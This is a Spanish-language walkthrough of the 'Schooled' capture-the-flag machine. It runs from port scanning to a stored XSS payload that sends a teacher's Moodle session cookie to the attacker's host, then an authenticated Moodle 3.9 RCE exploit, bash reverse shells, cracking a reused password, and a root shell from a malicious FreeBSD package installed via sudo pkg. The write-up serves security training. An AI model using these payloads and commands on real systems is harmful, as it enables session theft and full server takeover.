Schooled


Explotamos un XSS en un moodle para robar una cookie de sesión, un CVE de modle 3.9 el cual lleva a un RCE, y para la escalada de privilegios, conseguimos ser root a través del comando pkg, debido a unos permisos mal implementados en el /etc/sudoers

March 28, 20248 minutes

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

> ping -c 1 10.10.10.234
PING 10.10.10.234 (10.10.10.234) 56(84) bytes of data.
64 bytes from 10.10.10.234: icmp_seq=1 ttl=63 time=36.3 ms

--- 10.10.10.234 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 36.284/36.284/36.284/0.000 ms

Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux

Escaneo de puertos

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.234 -oG allPorts
Explicación parámetros
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnPara saltar la comprobación de sí la máquina está activa o no
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │
   2   │ [*] Extracting information...
   3   │
   4   │     [*] IP Address: 10.10.10.234
   5   │     [*] Open ports: 22,80,33060
   6   │
   7   │ [*] Ports copied to clipboard
   8   │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap

> nmap -p22,80,33060 -sCV 10.10.10.234 -oN versions

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Schooled - A new kind of educational institute
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|     HY000
|   LDAPBindReq:
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns:
|     Invalid message-frame."
|_    HY000
Explicación parámetros
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Pues al final no es un linux, nmap ha detectado que estamos frente a un FreeBSD

Puerto 80

Si observamos la web desde el navegador vemos que es una página muy simple sin ninguna función que llame la atención. En este puto, podemos mediante la herramienta whatweb intentar sacar un poco de información

> whatweb 10.10.10.234
http://10.10.10.234 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], Email[#,admissions@schooled.htb], HTML5, HTTPServer[FreeBSD][Apache/2.4.46 (FreeBSD) PHP/7.4.15], IP[10.10.10.234], PHP[7.4.15], Script, Title[Schooled - A new kind of educational institute], X-UA-Compatible[IE=edge]

De toda la información recopilada lo que más llama la atención es el email admissions@schooled.htb, ya que sale un dominio schooled.htb. A partir de este dominio buscamos subdominios con la herramienta wfuzz

echo "10.10.10.234 schooled.htb" >> /etc/hosts
> wfuzz -c -t 20 --hc=404 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.schooled.htb" http://schooled.htb/

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000015:   200        461 L    1555 W     20750 Ch    "ns"
000000031:   200        461 L    1555 W     20750 Ch    "mobile"
000000001:   200        461 L    1555 W     20750 Ch    "www"
000000003:   200        461 L    1555 W     20750 Ch    "ftp"
000000007:   200        461 L    1555 W     20750 Ch    "webdisk"
000000040:   200        461 L    1555 W     20750 Ch    "ns4"

Todos los subdominios devuelven un código de estado 200, así que vamos a usar otro método para filtrar las peticiones que no sea el código de estado, por ejemplo podemos filtrar por la cantidad de caracteres, vamos a ocultar todas las respuestas con 20750 caracteres --hh20750

> wfuzz -c -t 20 --hh=20750 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.schooled.htb" http://schooled.htb/

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000162:   200        1 L      5 W        84 Ch       "moodle"

Tenemos un subdominio: moodle

echo "10.10.10.234 schooled.htb moodle.schooled.htb" >> /etc/hosts

Este subdominio tiene un moodle instalado.

Para poder navegar por el moodle, creamos una cuenta.

Dentro del curso de matemáticas hay el siguiente mensaje

Este es un curso de autoinscripción. Para los estudiantes que deseen asistir a mis conferencias, asegúrese de tener configurado su perfil de MoodleNet.

Los estudiantes que no configuren sus perfiles de MoodleNet serán eliminados del curso antes de que comience el curso y verificaré a todos los estudiantes que estén inscritos en este curso.

Esperamos verlos a todos pronto.

manuel phillips

En la configuración de nuestro perfil, modificamos el perfil de MoodleNet. En la nota se menciona que el profesor verifica los perfiles de MoodleNet así que podemos probar de hacer un XSS para robarle la cookie al profesor

Con esto confirmamos que podemos hacer un XSS.

Para robar la cookie de sesión del professor y así secuestrar su cuenta, usaremos el siguiente payload

<img src=x onerror=this.src='http://10.10.14.20/input.php?cookie='+document.cookie>

Después nos montamos un servidor http con python para recibir la petición con la cookie

> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

10.10.10.234 - - [07/Apr/2024 21:13:44] "GET /input.php?cookie=MoodleSession=j7br6s51ia212og0ghc8htd1f8 HTTP/1.1" 200 -

Ahora ya tenemos la cookie y podemos secuestrar la sesión de Manuel Phillips

Consultando /theme/upgrade.txt encontramos la versión del moodle 3.9

> curl moodle.schooled.htb/moodle/theme/upgrade.txt


This files describes API changes in /theme/* themes,
information provided here is intended especially for theme designer.

=== 3.9 ===

Con una búsqueda con searchsploit identificamos un exploit para dicha versión

> searchsploit moodle 3.9

----------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                               |  Path
----------------------------------------------------------------------------- ---------------------------------
Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)                     | php/webapps/50180.py
----------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
> python3 50180.py http://moodle.schooled.htb/moodle --cookie 4ai0o3jlkpct1pcv6a2go5c687
 __     __     __   __  __   __              __  __     
/  \  /|_  __   _) /  \  _) /  \ __  /| |__|  _)  _) /| 
\__ \/ |__     /__ \__/ /__ \__/      |    | __) /__  |  by lanz

Moodle 3.9 - Remote Command Execution (Authenticated as teacher)
Course enrolments allowed privilege escalation from teacher role into manager role to RCE
                                                        
[+] Login on site: MoodleSession:4ai0o3jlkpct1pcv6a2go5c687 
[+] Updating roles to move on manager accout: 
[+] Updating rol manager to enable install plugins: 
[+] Uploading malicious .zip file: 
[+] Executing whoami: 

www

[+] Keep breaking ev3rYthiNg!!

El exploit ha funcionado!

Para recibir la reverse shell nos ponemos en escucha por el puerto 443

nc -nlvp 443

Por último aprovechándonos del plugin que ha subido el exploit para ejecutar comandos vamos a ejecutar el comando para mandarnos la reverse shell

bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"
curl "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.8%2F443%200%3E%261%27"

Escalada de privilegios

Para mejorar la consola vamos a usar el típico comando python3 -c 'import pty;pty.spawn("bash")'

[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ python3 -c 'import pty;pty.spawn("bash")'
bash: python3: command not found

[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ which python3

[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ which python

Parece que python no está instalado, pero sí los buscamos con find sí que existe

[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ find / -name python3 2>/dev/null
/usr/local/bin/python3

Esto se debe a que /usr/local/bin no está en el path

[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ echo $PATH            
/sbin:/bin:/usr/sbin:/usr/bin

Así que para ejecutar el comando anterior necesitamos especificar la ruta completa

/usr/local/bin/python3 -c 'import pty;pty.spawn("bash")'
[www@Schooled /]$ ^Z
zsh: suspended  nc -nlvp 443
                                                                                                      
> stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset

Ahora ya tenemos una shell en condiciones, pero aún no podemos hacer ctrl + l, para solucionarlo, ejecutamos lo siguiente para hacer que TERM valga xterm y SHELL valga bash

[www@Schooled /]$ export TERM=xterm
[www@Schooled /]$ export SHELL=bash

Dentro del archivo config.php de moodle encontramos las credenciales de la base de datos

[www@Schooled /usr/local/www/apache24/data/moodle]$ cat config.php
<?php  // Moodle configuration file

unset($CFG);
global $CFG;
$CFG = new stdClass();

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (

Nos conectamos

mysql -u moodle -p

Seleccionamos la base de datos moodle

moodle@localhost [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| moodle             |
+--------------------+


moodle@localhost [(none)]> use moddle

Después consultamos la tabla de users

moodle@localhost [moodle]> select * from mdl_user;

Dentro hay un usuario llamado Jamie que casualmente también existe en el sistema

[www@Schooled /usr/local/www/apache24/data/moodle]$ cat /etc/passwd | grep jamie
jamie:*:1001:1001:Jamie:/home/jamie:/bin/sh

Así que lo que vamos a hacer es sacar su hash de la base de datos y guardarlo en un archivo llamado hash, para posteriormente romperlo con john

> john --wordlist=/usr/share/wordlists/rockyou.txt hash

Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx         (?)     

Ahora ya tenemos su contraseña, lo que podemos comprobar es si tiene la misma contraseña para el sistema

> ssh jamie@schooled.htb
(jamie@schooled.htb) Password for jamie@Schooled:

jamie@Schooled:~ $ 

Efectivamente usa la misma contraseña

Con sudo -l observamos que jaime tiene permisos para ejecutar dos comandos

jamie@Schooled:/tmp $ sudo -l
User jamie may run the following commands on Schooled:
    (ALL) NOPASSWD: /usr/sbin/pkg update
    (ALL) NOPASSWD: /usr/sbin/pkg install *

Con una búsqueda rápida en gtfobins encontramos que nos podemos aprovechar de pkg para escalar privilegios.

Para escalar privilegios vamos a crear un paquete para freebsd, que dentro va a contener un comando para mandarnos una reverse shell

TF=$(mktemp -d)
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.14/443 0>&1"' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF

Este paquete nos lo pasamos a la máquina víctima a través de un servidor con python, por ejemplo.

curl 10.10.14.14/x-1.0.txz --output x-1.0.txz

Por último nos ponemos en escucha con nc ’nc -nlvp 443’ e instalamos el paquete

sudo pkg install -y --no-repo-update ./x-1.0.txz

Recibimos la shell como root!

> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.234] 15909
[root@Schooled /tmp]#